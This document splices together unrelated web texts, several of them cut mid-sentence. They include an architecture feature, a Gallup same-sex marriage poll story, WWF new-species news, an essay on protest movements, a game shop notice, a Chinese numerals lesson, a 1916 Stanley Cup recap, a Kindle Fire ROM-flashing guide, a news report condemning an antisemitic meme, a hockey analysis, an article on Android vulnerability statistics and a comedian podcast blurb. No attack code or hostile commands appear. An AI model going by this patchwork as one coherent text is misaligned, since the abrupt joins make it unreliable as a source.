Some of the walls on this level have been painted white but there are also various concrete surfaces, as well as wooden walls and floors. But wooden surfaces dominate on the basement level below.
"Interiors are modern, full of natural light and natural colours, with different combinations of materials that develop a warm welcoming atmosphere," added the team.
Rooms on the lower level include a celebration area – known as a zilberstube – as well as guest bedrooms, a fitness room and a wine cellar. Many of these rooms also open out to a hillside terrace.
Photography is by Matevž Paternoster.
Project credits:
Architecture office: SoNo arhitekti
Architects: Edvard Blažko, Marko Volk, Nina Tešanović, Nejc BatističGallup today released a new poll finding a new all-time high in nationwide support for same-sex couples marrying -and you'll be shocked to see where the most growth came from.
On April 28, as he was hearing oral arguments at the U.S. Supreme Court, Chief Justice John Roberts admitted, "I don't know what the latest opinion polls show," as he suggested same-sex couples should just wait until the entire country supports their legal right to marriage.
One week later a new poll was released showing a new all-time high in support for same-sex marriage.
LOOK: Sorry, Justice Roberts - Majority Of Americans Now Want You To Rule For Marriage Equality
And today, again, the same thing just happened.
Gallup today reports an all-time high of 60 percent of Americans support the right of same-sex couples to marry, an astonishing five-point jump from just one year ago. It is "the highest Gallup has found on the question since it was first asked in 1996."
In 1996, just 27 percent of Americans supported same-sex marriage. 68 percent of the country did not.
Today, two full decades later, those numbers are moving towards flipping. Now, with 60 percent approving and 37 percent opposed, Justice Roberts perhaps should consider the fact that the debate he was worried would not happen if the Supreme Court found a right to marriage, has happened, and the nation is clearly in support of marriage equality.
And support has been steadily rising across all party lines. When asked, "Do you think marriages between same-sex couples should or should not be recognized as valid, with the same rights as traditional marriages?," 76 percent of Democrats, 64 percent of Independents, but just 37 percent of Republicans answered "should" to the question.
Perhaps most interesting is not the fact that now 37 percent of Republicans support marriage for same-sex couples, but that Republicans are the fast-growing group of supporters.
In just one year support among the GOP jumped seven points, among Independents it was up six, and among Democrats, it rose only two points.
Whether Republicans like it or not, Gallup notes that one in four Americans say their presidential candidate must have the same views on marriage as they do.
"Those who are opposed to gay marriage are a good deal more likely to say that a candidate's stance on the issue can make or break whether that candidate receives their vote (37%) than those who are supportive of gay marriage (21%). And both are more likely to say the issue is a defining factor than they have been in the past."
Image by CityofStPete via Flickr and a CC license
See a mistake? Email corrections to: [email protected]One hundred sixty three new species, including a dragon-like lizard, a tiny frog and a rainbow-headed snake, were discovered in the Greater Mekong region in 2015. Conservation group World Wildlife Fund (WWF) gave details of these new species, which are announced each year after going through a lengthy identification process.
WWF revealed that new species also include a gecko in Laos with pale blue skin and a rare banana species discovered in northern Thailand.
The Greater Mekong region includes southwestern China, Cambodia, Vietnam, Laos, Myanmar, and Thailand. The Mekong River flows through the mountains and forests of Southeast Asia, and helps sustain this highly diverse region on the planet. However, this region is under immense pressure due to construction of new dams and roads as well as illegal wildlife trade.
“Many collectors are willing to pay thousands of dollars or more for the rarest, most unique and most endangered species,” Borah said.
Nicolas J. Cox, WWF’s Southeast Asian conservation director, said the discoveries of new species over the past few years suggest that this region is “special”.
“The Greater Mekong region is a magnet for the world’s conservation scientists because of the incredible diversity of species that continue to be discovered here,” Jimmy Borah, from WWF’s Greater Mekong team said.
“They are racing against time to ensure that these newly discovered species are protected.”
One hundred and sixty three new species discovered in 2015 included three mammals, nine amphibians, 11 fish, 14 reptiles and 126 plants.
One of the most interesting of these discoveries is parafimbrios lao, a snake found in the limestone karsts of northern Laos. The scales of this snake reflect rainbow-like colors around its head.
Scientists discovered a lizard (acanthosaura phuketensis) on the Thai tourist island of Phuket. This lizard is unique because of its fearsome-looking ridge of horns down its head and back.
Scientists also found a new frog species, leptolalax isos, in Cambodia and Vietnam. This 3-cm-long frog could fit on a fingertip. The frog was actually first discovered in 2006 but it took nearly a decade to confirm that it |
the 19C, raves now); huge social fear of the excluded poor but also many rags to riches stories celebrated in the media (Fifty Cent etc); meanwhile the solidaristic culture and respectability of organized labour is still there but, as in Egypt, they find themselves a "stage army" to be marched on and off the scene of history.
13.This leads to a loss of fear among the young radicals of any movement: they can pick and choose; there is no confrontation they can't retreat from. They can "have a day off" from protesting, occupying: whereas twith he old working-class based movements, their place in the ranks of battle was determined and they couldn't retreat once things started. You couldn't "have a day off" from the miners' strike if you lived in a pit village.
14.In addition to a day off, you can "mix and match": I have met people who do community organizing one day, and the next are on a flotilla to Gaza; then they pop up working for a think tank on sustainable energy; then they're writing a book about something completely different. I was astonished to find people I had interviewed inside the UCL occupation blogging from Tahrir Square this week.
15. People just know more than they used to. Dictatorships rely not just on the suppression of news but on the suppression of narratives and truth. More or less everything you need to know to make sense of the world is available as freely downloadable content on the internet: and it's not pre-digested for you by your teachers, parents, priests, imams. For example there are huge numbers of facts available to me now about the subjects I studied at university that were not known when I was there in the 1980s. Then whole academic terms would be spent disputing basic facts, or trying to research them. Now that is still true but the plane of reasoning can be more complex because people have an instant reference source for the undisputed premises of arguments. It's as if physics has been replaced by quantum physics, but in every discipline.
16.There is no Cold War, and the War on Terror is not as effective as the Cold War was in solidifying elites against change. Egypt is proving to be a worked example of this: though it is highly likely things will spiral out of control, post Mubarak - as in all the colour revolutons - the dire warnings of the US right that this will lead to Islamism are a "meme" that has not taken off. In fact you could make an interesting study of how the meme starts, blossoms and fades away over the space of 12 days. To be clear: I am not saying they are wrong - only that the fear of an Islamist takeover in Egypt has not been strong enough to swing the US presidency or the media behind Mubarak.
17. It is - with international pressure and some powerful NGOs - possible to bring down a repressive government without having to spend years in the jungle as a guerilla, or years in the urban underground: instead the oppositional youth - both in the west in repressive regimes like Tunisia/Egypt, and above all in China - live in a virtual undergrowth online and through digital comms networks. The internet is not key here - it is for example the things people swap by text message, the music they swap with each other etc: the hidden meanings in graffiti, street art etc which those in authority fail to spot.
18. People have a better understanding of power. The activists have read their Chomsky and their Hardt-Negri, but the ideas therein have become mimetic: young people believe the issues are no longer class and economics but simply power: they are clever to the point of expertise in knowing how to mess up hierarchies and see the various "revolutions" in their own lives as part of an "exodus" from oppression, not - as previous generations did - as a "diversion into the personal". While Foucault could tell Gilles Deleuze: "We had to wait until the nineteenth century before we began to understand the nature of exploitation, and to this day, we have yet to fully comprehend the nature of power",- that's probably changed.
19. As the algebraic sum of all these factors it feels like the protest "meme" that is sweeping the world - if that premise is indeed true - is profoundly less radical on economics than the one that swept the world in the 1910s and 1920s; they don't seek a total overturn: they seek a moderation of excesses. However on politics the common theme is the dissolution of centralized power and the demand for "autonomy" and personal freedom in addition to formal democracy and an end to corrupt, family based power-elites.
20. Technology has - in many ways, from the contraceptive pill to the iPod, the blog and the CCTV camera - expanded the space and power of the individual.
Some complications....
a) all of the above are generalisations: and have to be read as such.
b) are these methods replicable by their opponents? Clearly up to a point they are. So the assumption in the global progressive movement that their values are aligned with that of the networked world may be wrong. Also we have yet to see what happens to all this social networking if a state ever seriously pulls the plug on the technology: switches the mobile network off, censors the internet, cyber-attacks the protesters.
c) China is the laboratory here, where the Internet Police are paid to go online and foment pro-government "memes" to counteract the oppositional ones. The Egyptian leftist blogger Arabawy.org says on his website that : "in a dictatorship, independent journalism by default becomes a form of activism, and the spread of information is essentially an act of agitation." But independent journalism is suppressed in many parts of the world.
d) what happens to this new, fluffy global zeitgeist when it runs up against the old-style hierarchical dictatorship in a death match, where the latter has about 300 Abrams tanks? We may be about to find out.
e) - and this one is troubling for mainstream politics: are we creating a complete disconnect between the values and language of the state and those of the educated young? Egypt is a classic example - if you hear the NDP officials there is a time-warped aspect to their language compared to that of young doctors and lawyers on the Square. But there are also examples in the UK: much of the political discourse - on both sides of the House of Commons - is treated by many young people as a barely intelligible "noise" - and this goes wider than just the protesters.
(For example: I'm finding it common among non-politicos these days that whenever you mention the "Big Society" there's a shrug and a suppressed laugh - yet if you move into the warren of thinktanks around Westminster, it's treated deadly seriously. Dissing the Big Society has quickly become a "meme" that crosses political tribal boundaries under the Coalition, yet most professional politicians are deaf to "memes" as the youth are to the contents of Hansard.)
That's it - as I say, these are just my thoughts on it all and not researched other than through experience: there are probably whole PhD theses about some of this so feel free to hit the comments.
Likewise if you think it is all balderdash, and if you are over 40 you may, vent your analog-era spleen below.You can now browse and purchase a bevy of mounts and pets* from directly within World of Warcraft through our newly added Shop interface. Just click the Shop icon on the menu bar once you’ve logged in to a character, and you’ll be able to pick out a new friend to add to your collection and start your adventures together right away. By combining the best of cutting-edge goblin and gnomish technology, we’ve also made it possible for you to receive your new pal right in your inventory (or via mail if your inventory is full).
*Example screenshots only. Not all options shown may be available. All Prices in Test Currency.
We want to make sure these cuddly creatures and loyal mounts find a good home, so for a limited time, you’ll be able to purchase select pets and mounts friend for 50%** off the regular price either through the new in-game interface or via the web-based Battle.net Shop. Read more details about the sale here.
*Example screenshots only. Not all options shown may be available. All Prices in Test Currency.
Here are the available mounts and pets for purchase within the in-game Blizzard Shop:
*Wyvern and Gryphon plushies, Guardian Cubpet and Moonkin Hatchling pet are not available for purchase within the Blizzard Shop.
**The Enchanted Fey Dragon mount, Alterac Brew Pup pet, and Blossoming Ancient pet are not available at a discounted price. In addition, Charity Bundle pricing is not available within the in-game Blizzard Shop.Structure of numbers
Chinese handles numbers in a very consistent and logical way. Once you've mastered just a few tricky parts, you will know how to read out any number in Chinese.
One to One Hundred
Structure for the First Ten
You just have to memorize these ten; nothing tricky there.
Numeral Character Pinyin 1 一 yī 2 二 èr 3 三 sān 4 四 sì 5 五 wǔ 6 六 liù 7 七 qī 8 八 bā 9 九 jiǔ 10 十 shí
Phone Numbers
Like in American English, Chinese phone numbers are given as a string of individual numbers, using the digits 0-9. The only trick is that the number 1 is often pronounced "yāo" instead of "yī" to avoid confusion with number 7, which is pronounced "qī."
110 Number for the police in the PRC yāo yāo líng
120 Number for an ambulance in the PRC yāo èr líng
119 Number to report a fire in the PRC yāo yāo jiǔ
13501200120 Cell phone numbers are 11 digits in the PRC yāo sān wǔ, líng yāo èr líng, líng yāo èr líng
Structure for Teens
十 + x
Eleven, twelve and the teens are handled very logically. They're formed with 十 (shí) followed by a digit 一 (yī) to 九 (jiǔ). So eleven is 十一 (shíyī), twelve is 十二 (shí'èr), thirteen is 十三 (shísān), and so on up to nineteen, which is 十九 (shíjiǔ).
Numeral Character Pinyin 11 十一 shíyī 12 十二 shí'èr 13 十三 shísān 14 十四 shísì 15 十五 shíwǔ 16 十六 shíliù 17 十七 shíqī 18 十八 shíbā 19 十九 shíjiǔ
Structure for Tens
All the tens are also formed very logically. Twenty is 二十 (èrshí), thirty is 三十 (sānshí), and so on. Units in the tens are simply added on the end. So twenty one is 二十一 (èrshí-yī), thirty four is 三十四 (sānshí-sì), and ninety-nine is 九十九 (jiǔshí-jiǔ). All very logical and consistent.
x + 十
x + 十 + y
Examples
Numeral Character Pinyin 20 二十 èrshí 23 二十三 èrshí-sān 30 三十 sānshí 39 三十九 sānshí-jiǔ 40 四十 sìshí 44 四十四 sìshí-sì 50 五十 wǔshí 73 七十三 qīshí-sān 82 八十二 bāshí-èr 97 九十七 jiǔshí-qī
And one hundred is simply 一百 (yībǎi), as in English. So you now know how to count to one hundred in Chinese.
After One Hundred
Dealing with Zeroes
Note: when there's a "0" in the middle of a number, you read it as 零 (líng), and don't put a unit (like "ten" or "hundred") after it. In the following examples, we'll show what happens when the "tens" place is a zero in a three-digit number.
Structure
x + 百 + 零 + y
Examples
Numeral Character Pinyin 101 一百零一 yībǎi líng yī 202 二百零二 èrbǎi líng èr 206 二百零六 èrbǎi líng liù 305 三百零五 sānbǎi líng wǔ 407 四百零七 sìbǎi líng qī 504 五百零四 wǔbǎi líng sì 602 六百零二 liùbǎi líng èr 701 七百零一 qībǎi líng yī 803 八百零三 bābǎi líng sān 909 九百零九 jiǔbǎi líng jiǔ
For Numbers 110 and Greater
For numbers greater than 100, if the number ends in zero (110, 230, 370, 450, etc.), a number like 150 can be read as 一百五十 (yībǎi wǔshí), but is often read as 一百五 (yībǎi wǔ). In fact, reading it as 一百五 (yībǎi wǔ) always means 150, never 105. As described above, 105 would be read as 一百零五 (yībǎi líng wǔ).
For numbers greater than 100 that end in a number in the teens, it's normal to pronounce the ten as "yīshí" rather than just "shí" (see the examples below).
Also, sometimes the number "200" is read as 二百 (èrbǎi), but often it is read as 两百 (liǎngbǎi). Both are OK. (This is an 二 (èr) vs. 两 (liǎng) issue which you may or may not have encountered before.)
Structure
x + 百 + y + 十 + z
Examples
Numeral Character Pinyin 110 一百一十 yībǎi yīshí 111 一百一十一 yībǎi yīshí-yī 210 二百一十 èrbǎi yīshí 350 三百五十 sānbǎi wǔshí 480 四百八十 sìbǎi bāshí 550 五百五十 wǔbǎi wǔshí 635 六百三十五 liùbǎi sānshí-wǔ 777 七百七十七 qībǎi qīshí-qī 832 八百三十二 bābǎi sānshí-èr 999 九百九十九 jiǔbǎi jiǔshí-jiǔ
After One Thousand
千 (qiān) means "thousand" in Chinese. Its rules of usage are similar to the rules for "hundred." Just note that no matter how many zeroes are in the middle of the number, you just say 零 (líng) once.
Examples
Numeral Character Pinyin 1001 一千零一 yīqiān líng yī 1010 一千零一十 yīqiān líng yīshí 1019 一千零一十九 yīqiān líng yīshí-jiǔ 1020 一千零二十 yīqiān líng èrshí 1100 一千一百 yīqiān yībǎi 1101 一千一百零一 yīqiān yībǎi líng yī 1234 一千二百三十四 yīqiān èrbǎi sānshí-sì 2345 两千三百四十五 liǎngqiān sānbǎi sìshí-wǔ 8765 八千七百六十五 bāqiān qībǎi liùshí-wǔ 9999 九千九百九十九 jiǔqiān jiǔbǎi jiǔshí-jiǔ
10,000 and beyond
Things get a little trickier once you get to 10,000. If you're ready for it, you can move on to big numbers.
See also
Sources and further reading
BooksThe 1916 Stanley Cup Finals was played between the National Hockey Association (NHA) champion Montreal Canadiens and the Pacific Coast Hockey Association (PCHA) champion Portland Rosebuds. This was the first time that a best-of-five Cup championship went the distance. Also, the Rosebuds were the first team based in the United States to play for the Cup. The Canadiens defeated the Rosebuds three games to two in the best-of-five game series. This was the Canadiens' first Stanley Cup championship.
Paths to the Finals [ edit ]
Montreal won the NHA title after finishing the 1915–16 regular season in first place with a 16–7–1 record. Meanwhile, Portland clinched the 1915–16 PCHA title with a 13–5 record.
Game summaries [ edit ]
The games of the series were played at Montreal's Montreal Arena as it was the turn of the NHA champions to host the series. This was not the home rink of the Canadiens, but it was larger than their home Jubilee Rink. Games one, three and five were played under NHA rules; Games two and four were played under PCHA rules. Ernie Johnson's share of series revenues was by court order to be paid to the Montreal Wanderers, whom he had left while under contract to go to the PCHA. For the entire series, future Hockey Hall of Fame goaltender Georges Vezina aided Montreal by posting a 2.60 goals-against average. Didier Pitre led the Canadiens in scoring with 4 goals.
Game one [ edit ]
Portland arrived by train the day before the game but showed no weariness, recording a shutout.
Game two [ edit ]
Despite missing Newsy Lalonde and Jack Laviolette, Montreal behind some heavy checking defeated Portland 2–1 to tie the series.
Game three [ edit ]
Lalonde and Laviolette played in game three. Lalonde got into a fight with Ernie Johnson, requiring the police to break up the fight. Lalonde and Laviolette were ejected for the game and Eddie Oatman received a major penalty. Pitre was the scoring star, scoring three goals to lead the Canadiens to a 6–3 victory.
Game four [ edit ]
The Rosebuds then evened the series with a 6–5 victory in game four. The Rosebuds took a 3–0 lead, only to see the Canadiens tie it and take a 4–3 lead. In the third period Portland's Fred Harris scored twice and Charlie Uksilla scored once to take a 6–4 lead until the last minute when Lalonde scored to make it closer.
Game five [ edit ]
In game five, Portland's Tommy Dunderdale gave his team a 1–0 lead before Skene Ronan tied the game. The seldom-used George Prodger then scored the game and series-winning goal to clinch the Cup for the Canadiens.
Montreal Canadiens 1916 Stanley Cup champions [ edit ]
Players
‡ also played rover in the Stanley Cup Finals
Coaching and administrative staff: U. P. Boucher* (President)
George Kennedy (Owner/Manager/Treasurer)
Napoleon Dorval (Secretary)
S. Newsworthy* (Trainer), Aldrie Guiment (Ass't Trainer).
Stanley Cup engraving
Although the Rosebuds did not win the series, the Rosebuds had the words "Portland Ore./PCHA Champions/1915–16" engraved on the Cup after obtaining the trophy from the previous year's champions, the Vancouver Millionaires. This was consistent with the practice at the time that the trophy was passed on to the winner of the league championship of the previous Cup champion's league. Portland is thus the only city not to win the Cup outright to be listed as champions on the Stanley Cup.
After the series, "Canadian/NHA & World's Champions/Defeated Portland/1915–16" was added to the Cup (Note that the anglicized, singular form of "Canadiens" was engraved).
*-Two non-players first names are unknown. Manager-Coach George Kenndey is also known as George Kendall. Montreal Canadian credits him as President in 1916. However, the team picture list U.P. Boucher as president.
References [ edit ]We’ve seen how to install Android 4.0 on the Amazon Kindle Fire, thanks to CyanogenMod 9. We’ve also seen what MIUI software based on Android 2.3 looks like on the Kindle Fire. Now you can have the best of both worlds with MIUI 4.0 for the Kindle Fire.
It’s a custom version of Android based on Android 4.0 — but with a highly customized user interface.
The MIUI team released an early build of MIUI 4.0.3.2.2.3 Ice Cream Sandwich for the Kindle Fire this week.
It has many of the advantages of Android 4.0, including a user interface that doesn’t require hardware buttons, a quick settings panel, and an improved recent apps menu — although the recent apps menu doesn’t seem to be working properly in this build.
But the software also has some MIUI-specific touches, including a custom home screen designed to hold all of your apps, and a refined system panel with a bright white, gray, and orange theme instead of Android’s default dark black and blue theme — although you can also download custom themes for MIUI.
There are also a handful of custom apps including an MIUI file browser, and backup utility. MIUI 4.0 for the Kindle Fire comes with the Google suite of apps preinstalled, including the Android Market, Gmail, and Google Maps. It also has the Amazon Appstore preloaded.
That makes it easy to download and install third party apps — even the Amazon Kindle app, if you want to use your Kindle Fire to read Kindle eBooks.
How to install MIUI 4.0 on the Kindle Fire
In order to install MIUI 4.0, you’ll need to root the tablet and install TWRP 2.0 or another custom recovery app. Then follow these steps:
Download MIUI.us_blaze_4.0.3-2.2.3-alpha_0xD34D.zip from the link at the MIUI forum and copy it to your Kindle Fire’s storage. Turn off you tablet by pressing and holding the power button and then selecting the shut down option. Press the power button again to turn your tablet on. When you see the yellow triangle with a fire icon, press and hold the power button until it glows orange instead of green. Soon TWRP 2.0 should load. It’s a good idea at this point to make a backup of your system in case you decide you want to go back to whatever software you’re currently using. Tap the backup button to get started. Once that’s done, it’s also a good idea to wipe your data before continuing — from the home screen choose the Wipe icon and then the Factory Reset option. This step may not be necessary, but it can help avoid problems. From the home screen, tap the install button and then navigate to the directory where MIUI.us_blaze_4.0.3-2.2.3-alpha_0xD34D.zip is located and select it. Tap the big button that says Flash to start the install process. When the installation is complete, choose the “reboot system” option to restart your tablet and load MIUI 4.0.
The Amazon Kindle Fire is a $199 tablet with a 7 inch, 1024 x 600 pixel display and a 1 GHz TI OMAP 4 dual core processor and 8GB of storage. It normally ships with Amazon’s custom version of Google Android, but with software such as CyanogenMod or MIUI, it’s possible to transform the look and feel of the tablet dramatically.Yair Netanyahu, the son of Prime Minister Benjamin Netanyahu, posted an image on his Facebook page Saturday that seems to suggest a conspiracy is behind his family’s growing legal problems. The meme is laden with anti-Semitic imagery.
Update: Following outcry, Yair Netanyahu has removed the meme from his Facebook page. Evidence of David Duke's support, however, is still visible.
skip - fb
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The meme, captioned "the food chain," features a photo of George Soros dangling the world in front of a reptilian creature, who dangles an alchemy symbol in front of a caricature of a figure reminiscent of the anti-Semitic “happy merchant” image.
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The other figures in the chain are former Prime Minister Ehud Barak, anti-Netanyahu protest leader Eldad Yaniv and Meni Naftali, a former chief caretaker at the Netanyahus’ official residence who implicated Sara Netanyahu in the case she is being indicted in.
skip - David Duke's tweet.
Netanyahu's son posts a meme suggesting (((Soros))) is controlling the world: "Meme rife with anti-Semitic themes"https://t.co/6WxSTUNU4e — David Duke (@DrDavidDuke) September 9, 2017
David Duke, a former grand wizard of the Ku Klux Klan, tweeted the following in an apparent show of support for Yair Netanyahu:
>>> When David Duke Agrees With Netanyahu's Son: As Probes Intensify, the Prime Minister and His Family Lose Control ■ Why Netanyahu Hates George Soros So Much
Soros, a Hungarian-born Jewish American billionaire, has spent a large part of his fortune funding pro-democracy and human rights groups. Among the organizations he funds is Human Rights Watch, a frequent critic of Israel’s occupation of the West Bank and its policies toward the Palestinians. The images of Soros and the reptile evoke anti-Semitic conspiracy theories claiming that Jews control the world.
Daily Stormer Homepage Screenshot Screenshot: Daily Stormer Homepage
The neo-Nazi Daily Stormer also posted an article regarding the meme entitled "Netanyahu's Son Posts Awesome Meme Blaming the Jews for Bringing Down his Jew Father," in which they called Yair Netanyahu "a total bro."
This version of the meme seems to have originated on a right-wing Facebook page. The meme is nearly identical to, and appears to be adapted from, a viciously anti-Semitic image that has been repeatedly posted across the internet in recent years on racist and conspiracy-theory message boards.
skip - The original meme
the truth is revealed pic.twitter.com/CiRKseODEe — Sam the Mule (@SamLeMule) January 20, 2017
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Like most memes, it is impossible to determine who originally created it. In one instance, it was posted by a white supremacist named John de Nugent with the title "Illuminatus Jew Dumb American Burger" in its URL.
In the original version of the meme, the first figure in the “food chain” is an obese walrus in an American flag T-shirt tempted by a hamburger dangled in front of him. Behind the man is an Orthodox Jew motivated by money, controlled by the same Illuminati figure featured in the cartoon that Netanyahu posted, with the same giant lizard looming over them all.
The Southern Poverty Law Center describes de Nugent as "a prolific writer who has worked with numerous hate groups including the neo-Nazi National Alliance and the Holocaust-denying Barnes Review. De Nugent has run for elected office, and has even vowed to one day become president. While maintaining racist views about numerous racial and ethnic groups, de Nugent is particularly anti-Semitic, believing that the Jews are, along with nefarious space aliens, intent on exterminating the Aryan race."
After Haaretz published a report about his meme, Yair Netanyahu dismissed the claim that he is anti-Semitic and accused the newspaper of being exactly that.
Barak, who is depicted in the meme chasing money, suggested that Yair Netanyahu should see a psychiatrist. “Is this what the kid hears at home?” he said. “Is it genetics, or a spontaneous mental illness? It doesn’t matter. In any case, we should fund his psychiatrist instead of security guards and a driver.”
Labor leader Avi Gabbay, also on Twitter, said: “It’s a particularly sad day for Israel when a caricature that’s endorsed by the head of the KKK emerges from the home of the prime minister of the Jewish state.”
MK Zehava Galon (Meretz) added that “motifs in the Netanyahu family are anti-Semitic par excellence.” MK Merav Ben Ari (Kulanu) said that “this post deserves all manners of condemnation, from the left and the right. I’m on the right.”
Attorney General Avichai Mendelblit announced Friday that Sara Netanyahu would be indicted for fraud and breach of trust. She is to be charged with spending 359,000 shekels ($102,000) in state funds on catering at the prime minister’s official residence, while falsely claiming that the house did not employ a cook. The indictment is subject to a hearing, whose date has not yet been announced.
Prime Minister Netanyahu has accused Naftali, the last link in Yair Netanyahu’s meme, of inflating spending on food during his tenure as chief caretaker of the official residence.The Results
Martin Marincin finished in the eighth spot but was ranked as high as five (by me, for one) and as low as 15. He is the highest ranked player on the list with a wide spread in rankings, as there's much more consensus on the top few choices. No one should be surprised, Marincin has always been a contentious player amongst fans and perhaps a bit of an enigma.
Scott Wheeler 67 Sound Birky Arvind Elseldo Emily Achariya 12 6 11 5 12 5 11 JP Nikota Species Burtch Katya Fulemin Mike B Chris H 6 14 7 5 5 11 15
The Player
Marincin was born in Kosice, Slovakia and grew up playing for his hometown club. He was drafted by the Edmonton Oilers in 2010 with a second round pick, and he moved to the WHL and the Prince George Cougars the next season.
The WHL
His move to Canada is reminiscent of Tobias Lindberg's career path—plucked out of his European club system as a junior and put on a Canadian junior team. Both players had extremely good results in Canada.
Marincin scored more goals in that season in Prince George than he ever had before, and perhaps ever will. He had 14. He also had 42 assists and looked like he had blossomed into more of a complete player who could one day make the NHL.
That version of the Prince George Cougars was an odd one. Marincin was fifth on the team in scoring, and the only other NHL player who I recognize on the roster is Brett Connolly, a somewhat notorious draft bust who is about to start playing on his fourth NHL team at a salary of $850,000. He was the Cougars' top scorer.
In Marincin's second year in Prince George, he crashed back down to his more usual sort of scoring numbers as the team lost Connolly and didn't seem to gain anyone of great value. Marincin was traded to the Regina Pats partway through the season and did marginally better offensively on that team.
The AHL-NHL Elevator
In 2012, he played a full year in the AHL in the Oilers organization and had another good offensive output by his standards, scoring seven goals and 30 points. That was good enough for eighth overall in scoring on a team led by our old friend Mark Arcobello. There were some other forwards on the team you might recognize, what with the lockout and all: Jordan Eberle, Taylor Hall, Ryan Nugent-Hopkins.
Marincin then embarked on two years of splitting his time between Edmonton and Oklahoma City, and he did not blow anyone's doors off in either place. Without the high-octane forwards in the AHL, his points dried up, and in the very disastrous years in Edmonton when they changed coaches more often than their anti-freeze, he didn't impress anyone.
In his first year on the Oilers, he and Mark Arcobello led the team in Corsi For percentage while playing about half a season each. Neither of them busted 50%. Below them were Jeff Petry, a defender the Oilers couldn't make sense of, and Anton Belov, who is now a good defensive defender in the KHL. The core of the team was significantly worse in shot differential, with the exception of Eberle.
Marincin achieved his numbers by being one of the best players on the team at shots against (CA60) and shots for (CF60). His relative Corsi numbers were tops, and the amount that he improved the overall situation on the ice for his teammates was substantial. He had the second worst individual shot rate on the team, however.
In his second year, things were very different. The core of the Oilers was performing better, putting up CF% numbers in the 50%+ range, but Marincin's stayed the same. He dropped in both the CF% and Relative CF% ranking to eleventh on the team and his impact was team average, neither good nor bad.
The gross Corsi numbers are consistent, but his relative ranking on the team is a huge red flag that he was not producing good results like he had in his previous season. The difference in his usage from one year to the next was profound and offers a clue as to who he really is.
He played with good teammates his first year, logging some decent time with Hall, Eberle and Nugent-Hopkins, but in his second year, he was backing up the worst players on the team most of the time. And the Oilers outdid themselves in icing bad depth players that year.
Whenever he was on the ice with Eberle and Nugent-Hopkins, glorious things (by Oilers standards) happened. Just like that in that magic lockout year in the AHL with those same two forwards. The rest of the time, there was no glory to be found.
The Oilers traded him for a fourth round pick and the rights to Brad Ross last summer, essentially selling him for almost nothing.
Toronto
In Toronto, everything was different. Marincin was looking at Mark Arcobello riding the bus between the AHL and the NHL—okay, that was the same—but he was the top CF% defender amongst regular players, beating out Jake Gardiner by a hundredth of a point.
He was doing that by being the best shot suppression defender on the team, and still putting up decent enough CF60. He was also playing most of his time with Roman Polak, although he did a stint with Morgan Rielly late in the year after Polak was traded, and while Rielly improved defensively a little, Marincin was terrible, totally unable to sustain good defensive results.
Marincin made every defender he played with on the Leafs better in shot suppression, but none of them had very different results in shots for. His results with forwards were more interesting.
With the fourth line of Byron Froese, Peter Holland, Brad Boyes, etc., the shots against were so low, the goalies could have taken a nap. But there was no offence to speak of.
However, with P.-A. Parenteau, Shawn Matthias and Arcobello, he was excellent offensively. With the top lines, Nazem Kadri and Tyler Bozak and their usual wingers, they did well, affecting each other in positive ways.
I think Martin Marincin is a passenger.
We say that like an insult, but I'm not sure it is. A good passenger doesn't actually drive you anywhere, but they don't disrupt the driver, and may offer some help occasionally, working the GPS or saying, "Um, that was the turn-off, I think." They are more remarkable for their lack of negatives than for their positives, and their worth is so much harder to see.
Marincin seems to do best with players like Eberle and Parenteau, solid high positive Corsi forwards who are not speed merchants but who play an excellent positional game. Marincin's strengths, heading up ice and dishing the puck off at a smart time, play well with those sorts of forwards. He also does not drag down more elite level players like Kadri or James van Riemsdyk.
He is not a creator of offence, just of offensive zone time. He cannot make a silk purse out of the sow's ear of an offensively poor forward line. He can do the impossible, though, and make Roman Polak better. He also shot the puck a lot more in Toronto, proving he can at least reach ordinary depth player level there.
One huge caveat on his Toronto results: Mike Babcock deployed him well away from situations where goals were needed most. His usage is the extreme mirror image to Matt Hunwick's. Marincin played mostly with the minute eaters on the fourth line in situations where the game was out of reach or with offensive lines when the Leafs were winning.
We can have the chicken and egg argument about that. Was his usage dictating his lack of personal offence, or did his lack of offensive spark drive his usage? The answer may depend on how well you rate Babcock's player evaluation skills.
Still an Enigma?
For me, he is quite a bit. I ranked him just ahead of Nikita Zaitsev, more for the unknowns around Zaitsev than any real sense of certainty about Marincin. But I'm not going to be surprised if Zaitsev soars a little higher. I'm not going to be shocked if one day Connor Carrick is better too. But as the quality of |
the hands of its bugs.
Speaking at the RSA security conference in San Francisco on Tuesday, Adrian Ludwig, director of Android security, said the Stagefright hole – which prompted the Chocolate Factory to start emitting low-level security patches on a monthly basis – did put 95 per cent of Android devices at risk of attack. However, there have been no “confirmed” cases of infections via the bug, Ludwig claimed.
It was a similar story for the MasterKey vulnerability that was spotted in 2013, he said. In that case, 99 per cent of Android devices were vulnerable, but exploits abusing the security blunder peaked at less than eight infections per million users, it was claimed. And there were no exploits for the hole before details of the flaw were made public.
He also cited the 2014 FakeID flaw, disclosed at Black Hat that year. This affected 82 per cent of Android users but exploits peaked at one infection per million users after the details were released, and none before that, we're told.
Ludwig said he was sure of his figures, due to malware-detection routines, dubbed Verify Apps, in Google Play services, which is installed on more than 1.4 billion Android handhelds. Verify Apps reports back to Google when a software nasty is spotted on the device, allowing the web giant to tot up infection tallies.
So, basically, Ludwig's claims and figures cover devices with Google Play services installed – Chinese and Amazon Android-based gadgets don't include this software and thus aren't part of the Googler's numbers.
It also fitted a pattern he had noticed, that there isn't really any complex malware out there in the wild infecting Android devices. Software nasties tend to be sleazy apps, installed by punters, that do unpleasant things in the background, rather than malicious code that silently infects devices via webpages, text messages, and so on.
“Most of the abuse we get isn’t interesting from a security perspective,” he said. “We see spamming ads for fake antivirus stuff but it’s really basic social engineering. Even if malware is installed it seldom involved privilege escalation, it primarily just downloads other apps.”
The same thing seems to be happening in Apple's iOS world, too, he said. One reason could be that mobile operating systems are fairly well locked down, and present a restrictive environment to applications, benefiting from lessons learned from the PC industry.
Basically, mobile OSes are too much of a PITA to develop exploits for. They have hardened kernels, app marketplaces patrolled or vetted by full-time staff, and mechanisms such as ASLR and strict sandboxing that hackers struggle to defeat.
With more than a billion Android users out there, Ludwig's happy that Android's various security slip-ups seem to be getting headed off at the pass. ®Comedian Paul PK Kim talks about:
- when he started performing stand up and how he got into it
- the Laugh Factory in Hollywood being his home club
- who he pisses off with his Asian humor
- if he agrees with the statement "President Trump is good for comedy."
- his own podcast "The PK Comedy Podcast" and interviewing Margaret Cho
- the non-profit organization "Kollaboration" he started back in 2000
- knowing a lot of other Paul Kims and even the one in Orange County I found
Then we quiz PK to find out how comedians, who also DJ weddings, know their overplayed, cliché wedding songs.
